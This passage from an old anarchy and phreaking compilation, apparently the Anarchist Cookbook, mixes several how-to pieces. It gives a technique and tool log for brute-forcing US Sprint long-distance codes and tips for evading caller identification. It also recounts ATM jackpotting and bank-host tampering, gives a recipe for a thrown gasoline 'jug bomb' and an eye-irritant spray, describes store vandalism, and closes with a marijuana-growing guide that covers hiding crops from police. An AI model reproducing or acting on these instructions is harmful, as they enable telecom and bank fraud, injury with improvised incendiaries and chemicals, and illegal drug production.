  4870. This will contain tips and helpful information sent in by the users.
  4871. If you have any information you wish to contribute, then put it in a text
  4872. file and upload it to one of the BBS's listed at the end of the
  4873. newsletter.
  4874. Please, no long distance codes, mainframe passwords, etc.
  4875. We may add other sections as time goes by.  This newsletter will not
  4876. be put out on a regular basis.  It will be put out when we have enough
  4877. articles and information to put in it.  There may be up to 5 a month, but
  4878. there will always be at least one a month.  We would like you, the readers,
  4879. to send us anything you feel would be of interest to others, like hacking
  4880. hints, methods of hacking long distance companies, companies to card from,
  4881. etc.  We will maintain the newsletter as long as the readers support it.
  4882. That is the end of the introduction, but take a look at this newsletter,
  4883. as it does contain information that may be of value to you.
  4884. ==========================================================================
  4885.                       Hacking Sprint: The Easy Way
  4886. -------------------------------------------------------------------------
  4887.                              By: Tracker
  4888.  
  4889. If you hack US Sprint, 950-0777 (by the way it is no longer GTE
  4890. Sprint), and you are fustrated at hacking several hours only to find one
  4891. or two codes, then follow these tips, and it will increase your results
  4892. tremendously.  First, one thing that Mr. Mojo proved is that Sprint will
  4893. not store more than one code in every hundred numbers.  (ex: 98765400 to
  4894. 98765499 may contain only one code).   There may NOT be a code in that
  4895. hundred, but there will never be more than one.
  4896. Sprint's 9 digit codes are stored from 500000000 through 999999999.
  4897. In the beginning of Sprint's 950 port, they only had 8 digit codes.  Then
  4898. they started converting to 9 digit codes, storing all 8 digit codes
  4899. between 10000000 and 49999999 and all 9 digit codes between 500000000 and
  4900. 999999999.  Sprint has since cancelled most 8 digit codes, although there
  4901. are a few left that have been denoted as test codes.  Occaisionally, I
  4902. hear of phreaks saying they have 8 digit codes, but when verifying them,
  4903. the codes were invalid.
  4904. Now, where do you start?  You have already narrowed the low and high
  4905. numbers in half, therefore already increasing your chances of good results
  4906. by 50 percent.  The next step is to find a good prefix to hack.  By the
  4907. way, a prefix, in hacking terms, is the first digits in a code that can be
  4908. any length except the same number of digits the code is.  (ex: 123456789
  4909. is a code.  That means 1, 12, 123, 1234, 12345, 123456, 1234567, and
  4910. 12345678 are prefixes)  The way you find a good prefix to hack is to
  4911. manually enter a code prefix.  If when you enter the code prefix and a
  4912. valid destination number and you do not hear the ringing of the recording
  4913. telling you that the code is invalid until near the end of the number,
  4914. then you know the prefix is valid.  Here is a chart to follow when doing
  4915. this:
  4916. Code      - Destination    Range good codes exist
  4917. -------------------------------------------------
  4918. 123456789 - 6192R           123400000 - 123499999
  4919. 123456789 - 619267R         123450000 - 123459999
  4920. 123456789 - 61926702R       123456000 - 123456999
  4921. 123456789 - 6192670293R     123456700 - 123456799
  4922. -------------------------------------------------
  4923. ( R - Denotes when ring for recording starts)
  4924. To prove 
  4925. this true, I ran a test using OmniHack 1.3p, written by
  4926. Jolly Joe.  In this test I found a prefix where the last 3 digits were all
  4927. I had to hack.  I tested each hundred of the 6 digit prefix finding that
  4928. all but 4 had the ring start after the fourth digit was dialed in the
  4929. destination number.  The other four did not ring until I had finished the
  4930. entire code.  I set OmniHack to hack the prefix + 00 until prefix + 99.
  4931. (ex: xxxxxxy00 to xxxxxxy99: where y is one of the four numbers that the
  4932. ring did not start until the dialing was completed.)  Using this method, I
  4933. found four codes in a total of 241 attempts using ascending hacking (AKA:
  4934. Sequential).  Below you will see a record of my hack:
  4935. Range of hack            Codes found     Tries
  4936. ----------------------------------------------
  4937. xxxxxx300 - xxxxxx399     xxxxxx350        50
  4938. xxxxxx500 - xxxxxx599     xxxxxx568        68
  4939. xxxxxx600 - xxxxxx699     xxxxxx646        46
  4940. xxxxxx800 - xxxxxx899     xxxxxx877        77
  4941. ----------------------------------------------
  4942. Totals                     4 codes        241
  4943. As you see, these methods work.  Follow these guidlines and tips and
  4944. you should have an increase in production of codes in the future hacking
  4945. Sprint.  Also, if you have any hints/tips you think others could benefit
  4946. from, then type them up and upload them to one of the boards at the end of
  4947. the newsletter.
  4948. ==========================================================================
  4949.                          Rumors: Why Spread Them?
  4950. --------------------------------------------------------------------------
  4951.                               By: Tracker
  4952. Do you ever get tired of hearing rumors?  You know, someone gets an
  4953. urge to impress others, so they create a rumor that some long distance
  4954. company is now using tracing equipment.  Why start rumors?  It only scares
  4955. others out of phreaking, and then makes you, the person who started the
  4956. rumor, look like Mr. Big.  This article is short, but it should make you
  4957. aware of the rumors that people spread for personal gain.  The best thing
  4958. to do is to denote them as a rumor starter and then leave it at that.  You
  4959. should not rag on them constantly, since if the other users cannot
  4960. determine if it is fact or rumor, then they should suffer the
  4961. consequences.
  4962. ==========================================================================
  4963.                      The New Sprint FON Calling Cards
  4964. --------------------------------------------------------------------------
  4965.                                By: Tracker
  4966. US Sprint has opened up a new long distance network called the Fiber
  4967. Optic Network (FON), in which subscribers are given calling cards.  These
  4968. calling cards are 14 digits, and though, seem randomly generated, they are
  4969. actually encrypted.  The rumors floating around about people getting
  4970. caught using the Sprint FON calling cards are fact, not rumors.  The
  4971. reason people are getting caught is that they confuse the FON calling
  4972. cards with the local 950 port authorization codes.  If you will remember,
  4973. you never use AT&T calling cards from you home phone.  It has ANI
  4974. capability, which is not tracing, but rather the originating phone number
  4975. is placed on the bill as soon as the call is completed.  They know your
  4976. phone number when you call the 800 access port, but they do not record it
  4977. until your call is completed.  Also, through several of my hacks, I came
  4978. up with some interesting information surrounding the new Sprint network.
  4979. They are listed below.
  4980. 800-877-0000
  4981. This number is for information on US Sprint's 800 calling card
  4982. service.  I have not played around with it, but I believe it is for
  4983. trouble or help with the FON calling cards.  I am not sure if it is for
  4984. subscribing to the FON network.
  4985. 800-877-0002 - You hear a short tone, then nothing.
  4986. 800-877-0003 - US Sprint Alpha Test Channel #1
  4987. 800-877-(0004-0999)
  4988. When you call these numbers, you get a recording saying: "Welcome to
  4989. US Sprint's 1 plus service."  When the recording stops, if you hit the
  4990. pound key (#) you will get the calling card dial tone.
  4991. Other related Sprint numbers
  4992. 800-521-4949   This is the number that you subscribe to US Sprint with.
  4993. You may also subscribe to the FON network on this number.  It will take 4
  4994. to 5 weeks for your calling card to arrive.
  4995. 10777
  4996. This is US Sprint's equal access number.  When you dial this number,
  4997. you then dial the number you are calling, and it will be billed through US
  4998. Sprint, and you will receive their long distance line for that call.  Note
  4999. that you will be billed for calls made through equal access.  Do not
  5000. mistake it to be a method of phreaking, unless used from a remote
  5001. location.
  5002. If you are in US Sprint's 1+ service then call 1+700-555-1414, which
  5003. will tell you which long distance company you are using.  When you hear:
  5004. "Thank you for choosing US Sprint's 1 plus service," hit the pound key
  5005. (#), and then you will get the US Sprint dial tone.  This however is just
  5006. the same as if you are calling from your home phone if you dial direct, so
  5007. you would be billed for calls made through that, but there are ways to use
  5008. this to your advantage as in using equal access through a PBX.
  5009. ==========================================================================
  5010.                    Automatic Number Identification (ANI)
  5011. --------------------------------------------------------------------------
  5012.                              By: Tracker
  5013.  
  5014. The true definition for Automatic Number Identification has not been
  5015. widely known to many.  Automatic Number Identification, (AKA: ANI), is the
  5016. process of the destination number knowing the originating number, which is
  5017. where you are calling from.  The method of achieving this is to send the
  5018. phone number that you are calling from in coded form ahead of the
  5019. destination number. Below is an example of this.
  5020. ANI Method
  5021. Dial: 267-0293
  5022. Sent: ********2670293
  5023. * - Denotes the originating number which is coded and sent before the
  5024.     number
  5025. As you noticed there are 8 digits in the coded number.  This is
  5026. because, at least I believe, it is stored in a binary-like form. 
  5027. Automatic Number Identification means a limited future in phreaking. ANI
  5028. does not threaten phreaking very much yet, but it will in the near future.
  5029. A new switching system will soon be installed in most cities that are
  5030. covered by ESS, Electronic Switching System, now. 
  5031. The system will have ANI capabilities which will be supplied to the
  5032. owners of phone lines as an¢added extra.  The owner's phone will have
  5033. an LED read-out that will show the phone number of the people that
  5034. call you.  You will be able to block some numbers, so that people
  5035. cannot call you.  This system is in the testing stages currently, but will
  5036. soon be installed across most of the country.  As you see, this will
  5037. end a large part of phreaking, until we, the phreakers, can come up with
  5038. an alternative.  As I have been told by several, usually reliable,
  5039. people, this system is called ISS, which I am not sure of the meaning of
  5040. this, and is being tested currently in Rhode Island.
  5041. 800 in-watts lines set up by AT&T support ANI.  The equipment to
  5042. decode an ANI coded origination number does not costs as much as you would
  5043. expect.  950 ports do not offer ANI capability, no matter what you have
  5044. been told.  The 950 ports will only give the city in which they are based,
  5045. this usually being the largest in the state, sometimes the capitol.
  5046. One last thing that I should tell you is that ANI is not related to
  5047. tracing.  Tracing can be done on any number whether local, 950, etc.  One
  5048. way around this, especially when dialing Alliance TeleConferencing, is to
  5049. dial through several extenders or ports.  ANI will only cover the number
  5050. that is calling it, and if you call through a number that does not support
  5051. ANI, then your number will never be known.
  5052. ==========================================================================
  5053.                               The Disclaimer!
  5054. --------------------------------------------------------------------------
  5055.  
  5056. We, the editors, take no responsibility for your actions and use of
  5057. the information in this newsletter.  This newsletter is for informational
  5058. purposes only.  There will never be any long distance codes, passwords,
  5059. etc. in this newsletter.  If you are easily offended by telecommunication
  5060. discussions, then we suggest that you not read this newsletter.  But for
  5061. those who are truely interested in the information in this newsletter,
  5062. enjoy it.
  5063.  
  5064. Brought to you in Cookbook, courtesy of the Jolly Roger!!!!!!!!!!
  5065.  
  5066.  
  5067. Jackpotting ATM Machines                courtesy of the Jolly Roger
  5068.  
  5069. JACKPOTTING was done rather successfully a while back in (you guessed it)
  5070. New York. What the culprits did was:
  5071. Sever (actually cross over) the line between the ATM and the
  5072. host. insert a microcomputer between the ATM and the host. insert
  5073. a fradulent card into the ATM.  (card=cash card, not hardware)
  5074. What the ATM did was: send a signal to the host, saying "Hey!  Can I
  5075. give this guy money, or is he broke, or is his card invalid?"
  5076. What the microcomputer did was: intercept the signal from the host,
  5077. discard it, send "there's no one using the ATM" signal.
  5078. What the host did was: get the "no one using" signal, send back "okay,
  5079. then for God's sake don't spit out any money!" signal to ATM.
  5080. What the microcomputer did was:
  5081. intercept signal (again), throw it away (again), send "Wow!  That
  5082. guy is like TOO rich!  Give him as much money as he wants.  In
  5083. fact, he's so loaded, give him ALL the cash we have!  He is
  5084. really a valued customer." signal.
  5085. What the ATM did:
  5086. what else?  Obediently dispense cash till the cows came home (or
  5087. very nearly so).
  5088. What the crooks got:
  5089. well in excess of $120,000 (for one weekend's work), and several
  5090. years when they were caught.
  5091. This story was used at a CRYPTOGRAPHY conference I attended a while
  5092. ago to demonstrate the need for better information security.  The
  5093. lines between ATM's & their hosts are usually 'weak' in the sense that
  5094. the information transmitted on them is generally not encrypted in any
  5095. way.  One of the ways that JACKPOTTING can be defeated is to encrypt
  5096. the information passing between the ATM and the host.  As long as the
  5097. key cannot be determined from the ciphertext, the transmission (and
  5098. hence the transaction) is secure.
  5099. A more believable, technically accurate story might concern a person
  5100. who uses a computer between the ATM and the host to determine the key
  5101. before actually fooling the host.  As everyone knows, people find
  5102. cryptanalysis a very exciting and engrossing subject...don't they?
  5103. (Hee-Hee)
  5104.  
  5105. _____             ______
  5106. |   |-<<-|   |-<<-|    |
  5107. |ATM|    micro    |Host|
  5108. |___|->>-|   |->>-|____|
  5109.  
  5110. The B of A ATM's are connected through dedicated lines to a host
  5111. computer as the Bishop said. However, for maintenance purposes, there
  5112. is at least one separate dial-up line also going to that same host
  5113. computer. This guy basically bs'ed his way over the phone till he
  5114. found someone stupid enough to give him th number. After finding that,
  5115. he had has Apple hack at the code. Simple.
  5116. Step 2: He had a friend go to an ATM with any B of A ATM card. He
  5117. stayed at home with the Apple connected to the host. When his friend
  5118. inserted the card, the host displayed it. The guy with the Apple
  5119. modified the status & number of the card directly in the host's
  5120. memory. He turned the card into a security card, used for testing
  5121. purposes. At that point, the ATM did whatever it's operator told it to
  5122. do.
  5123. The next day, he went into the bank with the $2000 he received,
  5124. talked to the manager and told him every detail of what he'd done. The
  5125. manager gave him his business card and told him that he had a job
  5126. waiting for him when he got out of school.
  5127. Now, B of A has been warned, they might have changed the system. On
  5128. the other hand, it'd be awful expensive to do that over the whole
  5129. country when only a handful of people have the resources and even less
  5130. have the intelligence to duplicate the feat. Who knows?
  5131. Jug Bomb                                        by the Jolly Roger
  5132.  
  5133. Take a glass jug, and put 3 to 4 drops of gasoline into it. Then put
  5134. the cap on, and swish the gas around so the inner surface of the jug
  5135. is coated.  Then add a few drops of potassium permanganate solution
  5136. into it and cap it.  To blow it up, either throw it at something, or
  5137. roll it at something.
  5138.                           ------------Jolly Roger
  5139.  
  5140. Fun at K-Mart                                   by the Jolly Roger
  5141.  
  5142. Well, first off, one must realise the importance of K-Marts in
  5143. society today. First off, K-Marts provide things cheaper to those who
  5144. can't afford to shop at higher quality stores.  Although, all I ever
  5145. see in there is minorities and Senior Citizens, and the poor people in
  5146. our city.  Personally, I wouldn't be caught dead in there.  But, once,
  5147. I did.
  5148. You see, once, after The Moon Roach and Havoc Chaos(Dear friends of
  5149. mine) and I were exploring such fun things as rooftops, we came along
  5150. a K-Mart.  Amused, and cold for that matter, we wandered in.  The
  5151. Tension mounts.
  5152. As we walked up to the entrance, we were nearly attacked by Youth
  5153. Groups selling cheap cookies, and wheelchair sticken people selling
  5154. American Flags.  After laughing at these people, we entered. This is
  5155. where the real fun begins...
  5156. First, we wandered around the store, and turned on all the blue
  5157. lights we could find. That really distracts and confuses the
  5158. attendents...Fun to do...
  5159. The first neat thing, is to go to the section of the store where
  5160. they sell computers. Darkness engulf the earth the day they find Apple
  5161. Computers being sold there.  Instead, lesser computers like the
  5162. laughable C-64 can be found there...Turn it on, and make sure
  5163. nobody's looking...Then, once in Basic, type...
  5164.  
  5165. ]10 PRINT "Fuck the world!  Anarchy Rules!" (or something to that
  5166.                                              effect.)
  5167. ]20 GOTO 10 and walk away.
  5168.  
  5169. Also, set the sample radios in the store to a santanic rock station,
  5170. and turn the radio off.  Then, set the alarm for two minutes ahead of
  5171. the time displayed there.  Turn the volume up all the way, and walk
  5172. away.  After about two minutes, you will see the clerk feebly attempt
  5173. to turn the radio down or off.  It's really neat to set ten or more
  5174. radios to different stations, and walk away.
  5175. One of my favorite things to do, is to get onto the intercom system
  5176. of the store.  Easier typed then done.  First, check out the garden
  5177. department.  You say there's no attendent there? Good.  Sneak
  5178. carefully over to the phone behind the cheap counter there, and pick
  5179. it up.  Dial the number corrisponding to the item that says 'PAGE'...
  5180. And talk.  You will note that your voice will echo all over the bowels
  5181. of K-Mart.
  5182. I would suggest announcing something on the lines of: "Anarchy
  5183. rules!!"
  5184.                                  ---------------Jolly Roger
  5185.  
  5186. Mace Substitute                                 by the Jolly Roger
  5187.  
  5188. 3 PARTS: Alcohol
  5189. 1/2 PARTS: Iodine
  5190. 1/2 PARTS: Salt
  5191. Or:
  5192. 3 PARTS: Alcohol
  5193. 1 PARTS: Iodized Salt (Mortons)
  5194.  
  5195. It's not actual mace, but it does a damn good job on the eyes...
  5196.  
  5197.                      --------------Jolly Roger
  5198.  
  5199. How to grow Marijuana                       courtesy of the Jolly Roger
  5200.  
  5201.                            MARIJUANA
  5202. Marijuana is a deciduous plant which grows from seeds. The fibrous section
  5203. of the plant was (has been replaced by synthetics) used to make rope.
  5204. The flowering tops, leaves, seeds, and resin of the plant is
  5205. used by just about everyone to get HIGH.
  5206. Normally, the vegetable parts of the plant are smoked to produce this
  5207. "high," but thay can also be eaten. The axtive ingredient in marijuana
  5208. resin is THC (tetahydrocannabinol). Marijuana contains from 1 - 4 per
  5209. cent THC (4 per cent must be considered GOOD dope).
  5210. Marijuana grows wild in many parts of the world, and is cultivated in
  5211. Mexice, Vietnam, Africa, Nepal, India, South America, etc.,etc. The
  5212. marijuana sold in the United States comes primarily from, yes, the
  5213. Uniited States.
  5214. It is estimated that at least 50 per cent of the grass on the streets
  5215. in America is homegrown. The next largest bunch comes actoss the
  5216. borders from Mexico, with smaller amounts filtering in from Panama,
  5217. occasionally South America, and occasinally, Africa.
  5218. Hashish is the pure resin of the marijuana plant, which is scraped from
  5219. the flowering tops of the plant and lumped together. Ganja is the
  5220. ground-up tops of the finest plants. (It is also the name given to any
  5221. sort of marijuana in Jamaica.)
  5222. Marijuana will deteriorate in about two years if exposed to light,
  5223. air or heat. It should always be stored in cool places.
  5224. Grass prices in the United States are a direct reflection of the laws
  5225. of supply and demand (and you thought that high school economics
  5226. would never be useful). A series of large border busts, a short growing
  5227. season, a bad crop, any number of things can drive the price of marijuana
  5228. up. Demand still seems to be on the increase in the U.S., so prices seldom
  5229. fall below last year's level.
  5230. Each year a small seasonal drought occurs, as last year's supply runs
  5231. low, and next year's crop is not up yet. Prices usually rase about
  5232. 20 - 75 per cent during this time and then fall back to "normal."
  5233. Unquestionably, a large shortage of grass causes a percentage of smokers
  5234. to turn to harder drugs instead. For this reason, no grass control
  5235. program can ever be beneficial or "successful."
  5236.                                 GROW IT!
  5237. There is one surefire way of avoiding high prices and the grass DT's:
  5238. Grow your own. This is not as difficult as some "authorities" on the
  5239. subject would make you believe. Marijuana is a weed, and a fairly
  5240. vivacious one at that, and it will grow almost in spite of you.
  5241.                                OUTDOORS
  5242. Contrary to propular belief, grass grows well in many place on the
  5243. North American continent. It will flourish even if the temperature does
  5244. not raise above 75 degrees.
  5245. The plants do need a minimum of eight hours of sunlight per day and
  5246. should be planted in late April/early May, BUT DEFINITELY, after the
  5247. last frost of the year.
  5248. Growing an outdoor, or "au naturel", crop has been the favored method
  5249. over the years, because grass seems to grow better without as much
  5250. attention when in its natural habitat.
  5251. Of course, an outdoors setting requires special precautions not encoun-
  5252. tered with an indoors crop; you must be able to avoid detection, both from
  5253. law enforcement freaks and common freaks, both of whom will take your
  5254. weed and probably use it. Of course, one will also arrest you. You must
  5255. also have access to the area to prepare the soil and harvest the crop.
  5256. There are two schools of thought about starting the seeds. One says you
  5257. should start the seedlings for about ten days in an indoor starter box
  5258. (see the indoor section) and then transplant. The other theory is that
  5259. you should just start them in the correct location. Fewer plants will
  5260. come up with this method, but there is no shock of transplant to
  5261. kill some of the seedlings halfway through.
  5262. The soil should be preprepared for the little devils by turning it
  5263. over a couple of times and adding about one cup of hydrated lime per
  5264. square yard of soil and a little bit (not too much, now) of good water
  5265. soluble nitrogen fertilizer. The soil should now be watered several
  5266. times and left to sit about one week.
  5267. The plants should be planted at least three feet apart, getting too
  5268. greedy and stacking them too close will result in stunted plants.
  5269. The plants like some water during their growing season, BUT not too
  5270. much. This is especially true around the roots, as too much water will
  5271. rot the root system.
  5272. Grass grows well in corn or hops, and these plants will help provide
  5273. some camouflage. It does not grow well with rye, spinach, or pepperweed.
  5274. It is probally a good idea to plant in many small, broken patches, as
  5275. people tend to notice patterns.
  5276.                        GENERAL GROWING INFO
  5277. Both the male and he female plant produce THC resin, although the male
  5278. is not as strong as the female. In a good crop, the male will still be
  5279. plenty smokable and should not be thrown away under any circumstances.
  5280. Marijuana can reach a hight of twenty feet (or would you rather wish on
  5281. a star) and obtain a diameter of 4 1/2 inches. If normal, it has a sex
  5282. ratio of about 1:1, but this can be altered in several ways.
  5283. The male plant dies in the 12th week of growing, the female will live
  5284. another 3 - 5 weeks to produce her younguns. Females can weigh twice as
  5285. much as males when they are mature.
  5286. Marijuana soil should compact when you squeeze it, but should also break
  5287. apart with a small pressure and absorb water well. A nice test
  5288. for either indoor or outdoor growing is to add a bunch of worms to the
  5289. soil, if they live and hang aroung, it is good soil, but if they don't,
  5290. well, change it. Worms also help keep the soil loose enough for the
  5291. plants to grow well.
  5292.                                 SEEDS
  5293. To get good grass, you should start with the right seeds. A nice starting
  5294. point is to save the seeds form the best batch you have consumed. The
  5295. seeds should be virile, that is, they should not be grey and shiriveled
  5296. up, but green, meaty, and healthy appearing. A nice test is to drop the
  5297. seeds on a hot frying pan. If they "CRACK," they are probably good for
  5298. planting purposes.
  5299. The seeds should be soaked in distilled water overnight before planting.
  5300. BE SURE to plant in the ground with the pointy end UP. Plant about 1/2"
  5301. deep. Healthy seeds will sprout in about five days.
  5302.                              SPROUTING
  5303. The best all around sprouting method is probably to make a sprouting box
  5304. (as sold in nurseries) with a slated bottom or use paper cups with holes
  5305. punched in the bottoms. The sprouting soil should be a mixture of humus,
  5306. soil, and five sand with a bit of organic fertilizer and water mixed
  5307. in about one week before planting.
  5308. When ready to transplant, you must be sure and leave a ball of soil
  5309. around the roots of each plant. This whole ball is dropped into a
  5310. baseball-sized hold in the permanent soil.
  5311. If you are growing/transplanting indoors, you should use a green
  5312. safe light (purchased at nurseries) during the transplanting operation.
  5313. If you are transplanting outdoors, you should time it about two
  5314. hours befor sunset to avoid damage to the plant. Always wear cotton
  5315. gloves when handling the young plants.
  5316. After the plants are set in the hole, you should water them. It is also
  5317. a good idea to use a commercial transplant chemical (also purchased at
  5318. nurseries) to help then overcome the shock.
  5319.                           INDOOR GROWING
  5320. Indoor growing has many advantages, besides the apparent fact that it
  5321. is much harder to have your crop "found," you can control the ambient
  5322. conditions just exactly as you want them and get a guaranteed "good"
  5323. plant.
  5324. Plants grown indoors will not appear the same as their outdoor cousins.
  5325. They will be scrawnier appearing with a weak stems and may even require
  5326. you to tie them to a growing post to remain upright, BUT THEY WILL HAVE
  5327. AS MUCH OR MORE RESIN!
  5328. If growing in a room, you should put tar paper on the floors and then
  5329. buy sterilized bags of soil form a nursery. You will need about one
  5330. cubic foot of soil for eavh plant.
  5331. The plants will need about 150 ml. of water per plant/per week. They
  5332. will also need fresh air, so the room must be ventilated. (however,
  5333. the fresh air should contain NO TOBACCO smoke.)
  5334. At least eight hours of light a day must be provided. As you increase
  5335. the light, the plants grow faster and show more females/less males.
  5336. Sixteen hours of light per day seems to be the best combination, beyond
  5337. this makes little or no appreciable difference in the plant quality.
  5338. Another idea is to interrupt the night cycle with about one hour of
  5339. light. This gives you more females.
  5340. The walls of your growing room should be painted white or covered with
  5341. aluminum foil to reflect the light.
  5342. The lights themselves can be either bulbs of fluorescent. Figure about
  5343. 75 watts per plant or one plant per two feet of flouresent tube.
  5344. The fluorescents are the best, but do not use "cool white" types. The
  5345. light sources should be an average of twenty inches from the
  5346. plant and NEVER closer than 14 inches. They may be mounted on a rack
  5347.  and moved every few days as the plants grow.
  5348. The very best light sources are those made by Sylvania and others
  5349. especially for growing plants (such as the "gro lux" types).
  5350.                        HARVESTING AND DRYING
  5351. The male plants will be taller and have about five green or yellow sepals,
  5352. which will split open to fertilize the female plant with pollen.
  5353. The female plant is shorter and has a small pistillate flower, which
  5354. really doesn't look like a flower at all but rather a small bunch of
  5355. leaves in a cluster.   
  5356. If you don't want any seeds, just good dope, you should pick the males
  5357. before they shed their pollen as the female will use some of her resin
  5358. to make the seeds.
  5359. After another three to five weeks, after the males are gone, the females
  5360. will begin to wither and die (from loneliness?), this is the time to pick.
  5361. In some nefarious Middle Eastren countries, farmers reportedly put their
  5362. beehives next to fiels of marijuana. The little devils collect the grass
  5363. pollen for their honey, which is supposed to contain a fair dosage
  5364. of THC.
  5365. The honey is then enjoyed by conventional methods or made into ambrosia.
  5366. If you want seeds - let the males shed his pollen then pick him. Let
  5367. the female go another month and pick her.
  5368. To cure the plants, they must be dried. On large crops, this is
  5369. accomplished by constructing a drying box or drying room.
  5370. You must have a heat source (such as an electric heater) which will make
  5371. the box/room each 130 degrees. The box/room must be ventilated
  5372. to carry off the water-vapor-laden air and replace it with fresh.
  5373. A good box can be constructed from an orange crate with fiberglass
  5374. insulated walls, vents in the tops, and screen shelves to hold the leaves.
  5375. There must be a baffle between the leaves and the heat source.
  5376. A quick cure for smaller amounts is to: cut the plant at the soil level
  5377. and wrap it in a cloth so as not to loose any leavs. Take out any seeds
  5378. by hand and store. Place all the leaves on a cookie sheet or aluminum
  5379. foil and put them in the middle sheld of the oven, which is set on "broil."
  5380. In a few seconds, the leaves will smoke and curl up, stir them around and
  5381. give another ten seconds before you take them out.
  5382.                     TO INCREASE THE GOOD STUFF
  5383. There are several tricks to increase the number of females, or the THC
  5384. content of plants:
  5385. You can make the plants mature in 36 days if you are in a hurry, by cutting
  5386. back on the light to about 14 hours, but the plants will not be as big.
  5387. You should gradually shorten the light cycle until you reach fourteen
  5388. hours.
  5389. You can stop any watering as the plants begin to bake the resin rise to
  5390. the flowers. This will increse the resin a bit.
  5391. You can use a sunlamp on the plants as they begin to develop flower stalks.
  5392. You can snip off the flower, right at the spot where it joins the plant,
  5393. and a new flower will form in a couple of weeks.
  5394. This can be repeated two or three times to get several times more flowers
  5395. than usual.
  5396. If the plants are sprayed with Ethrel early in their growing stage, they
  5397. will produce almost all female plants. This usually speeds up the flowering
  5398. also, it may happen in as little as two weeks.
  5399. You can employ a growth changer called colchicine. This is a bit hard to
  5400. get and expensive. (Should be ordered through a lab of some sort and
  5401. costs about $35 a gram.)
  5402. To use the colchicine, you should prepare your presoaking solution of
  5403. distilled water with about 0.10 per cent colchicine. This will cause
  5404. many of the seeds to die and not germinate, but the ones that do come
  5405. up will be polyploid plants. This is the accepted difference between
  5406. such strains as "gold" and normal grass, and yours will DEFINITELY
  5407. be superweed.
  5408. The problem here is that colchicine is a posion in larger quanities and
  5409. may be poisonous in the first generation of plants. Bill Frake, author
  5410. of CONNOISSEUR'S HANDBOOK OF MARIJUANA runs a very complete colchicine
  5411. treatment down and warns against smoking the first generation plants
  5412. (all succeeding generations will also be polyploid) bacause of this
  5413. poisonous quality.
  5414. However, the Medical Index shows colchicine being given in very small
  5415. quantities to people for treatment if various ailments. Although these
  5416. quantities are small, they would appear to be larger than any you could
  5417. recive form smoaking a seed-treated plant.
  5418. It would be a good idea to buy a copy of CONNOISSEUR'S, if you are planning
  5419. to attempt this, and read Mr. Drake's complete instructions.
  5420. Another still-experimental process to increase the resin it to pinch off
  5421. the leaf tips as soon as they appear from the time the plant is in the
  5422. seedling stage on through its entire life-span. This produces a distorted,
  5423. wrecked-looking plant which would be very difficuly to recognize as
  5424. marijuana. Of course, there is less substance to this plant, but such
  5425. wrecked creatures have been known to produve so much resin that it
  5426. crystallizes a strong hash all over the surface of the plant - might
  5427. be wise to try it on a plant or two and see what happens.
  5428.                         PLANT PROBLEM CHART
  5429. Always check the overall enviromental conditions prior to passing
  5430. judgment - soil aroung 7 pH or slightly less - plenty of water, light,
  5431. fresh air, loose soil, no water standing in pools.
  5432.         SYMPTOM                       PROBABLY PROBLEM/CURE
  5433. Larger leaves turning yellow -      Nitrogen dificiency - add
  5434. smaller leaves still green.         nitrate of soda or
  5435.                                     organic fertilizer.
  5436. Older leaves will curl at edges,    Phosphorsus dificiency -
  5437. turn dark, possibaly with a purple  add commercial phosphate.
  5438. cast.
  5439. Mature leaves develop a yellowish   Magnesium dificiency -
  5440. cast to least veinal areas.         add commercial fertilizer
  5441.                                     with a magnesium content.
  5442. Mature leaves turn yellow and then  Potassium dificiency -
  5443. become spotted with edge areas      add muriate of potash.
  5444. turning dark grey.
  5445. Cracked stems, no healthy support   Boron dificiency - add
  5446. tissue.                             any plant food containing
  5447.                                     boron.
  5448. Small wrinkled leaves with          Zinc dificiency - add
  5449. yelloish vein systems.              commercial plant food
  5450.                                     containing zinc.
  5451. Young leaves become deformed,       Molybedum dificiency -
  5452. possibaly yellowing.                use any plant food with a
  5453.                                     bit of molydbenum in it.
  5454.                          EXTRA SECTION:
  5455.                        BAD WEED/GOOD WEED
  5456. Can you turn bad weed into good weed? Surprisingly enough, the answer
  5457. to this oft-asked inquiry is, yes!
  5458. Like most other things in life, the amount of good you are going
  5459. to do relates directly to how much effort you are going to put into it.
  5460. There are no instant, supermarket products which you can spray on Kansas
  5461. catnip and have wonderweed, but there are a number of simplified,
  5462. inexpensive processes (Gee, Mr. Wizard!) thich will enhance mediocre
  5463. grass somewhat, ant there are a couple of fairly involved processes
  5464. which will do up even almost-parsley weed into something worth writing
  5465. home about.
  5466.                                    EASES
  5467. 1. Place the dope in a container which allows air to enter in a restricted
  5468. fashion (such as a can with nail holes punched in its lid) and add a
  5469. bunch of dry ice, and the place the whold shebang in the freezer for a
  5470. few days. This process will add a certain amount of potency to the product,
  5471. however, this only works with dry ice, if you use normal, everyday
  5472. freezer ice, you will end up with a soggy mess...
  5473. 2. Take a quantity of grass and dampen it, place in a baggie or another
  5474. socially acceptable container, and store it in a dark, dampish place
  5475. for a couple of weeks (burying it also seems to work). The grass will
  5476. develop a mold which tastes a bit harsh, a and burns a tiny bit funny,
  5477. but does increase the potency.
  5478. 3. Expose the grass to the high intensity light of a sunlamp for a full
  5479. day or so. Personally, I don't feel that this is worth the effort, but
  5480. if you just spent $400 of your friend's money for this brick of
  5481. super-Colombian, right-from-the-President's-personal-stash,
  5482. and it turns out to be Missouri weed, and you're packing your bags to
  5483. leave town before the people arrive for their shares, well, you might
  5484. at least try it. Can't hurt.
  5485. 4. Take the undisirable portions of our stash (stems, seeds, weak weed,
  5486. worms, etc.) and place them in a covered pot, with enough rubbing
  5487. alchol to cover everything.
  5488. Now CAREFULLY boil the mixture on an ELECTRIC stove or lab burner. DO
  5489. NOT USE GAS - the alchol is too flammable. After 45 minutes of heat,
  5490. remove the pot and strain the solids out, SAVING THE ALCOHOL.
  5491. Now, repeat the process with the same residuals, but fresh alchol.
  5492. When the second boil is over, remove the solids again, combine the two
  5493. quantities of alcohol and reboil until you have a syrupy mixture.
  5494. Now, this syrupy mixture will contain much of the THC formerly hidden
  5495. in the stems and such. One simply takes this syrup the throughly
  5496. combines it with the grass that one wishes to improve upon.
  5497.           SPECIAL SECTION ON RELATED SUBJECT MARYGIN:
  5498. Marygin is an anagram of the words marijuana and gin, as in Eli Whitney.
  5499. It is a plastic tumbler which acts much like a commercial cottin gin.
  5500. One takes about one ounce of an harb and breaks it up. This is then placed
  5501. in the Marygin and the protuding knod is roatated. This action turns
  5502. the internal wheel, which separates the grass from the debris (seeds,
  5503. stems).
  5504. It does not pulberize the grass as screens have a habit of doing and is
  5505. easily washable.
  5506. Marygin is available from:
  5507.      P.O. Box 5827
  5508.      Tuscon, Arizona 85703
  5509.      $5.00
  5510.      
  5511.      GRASS
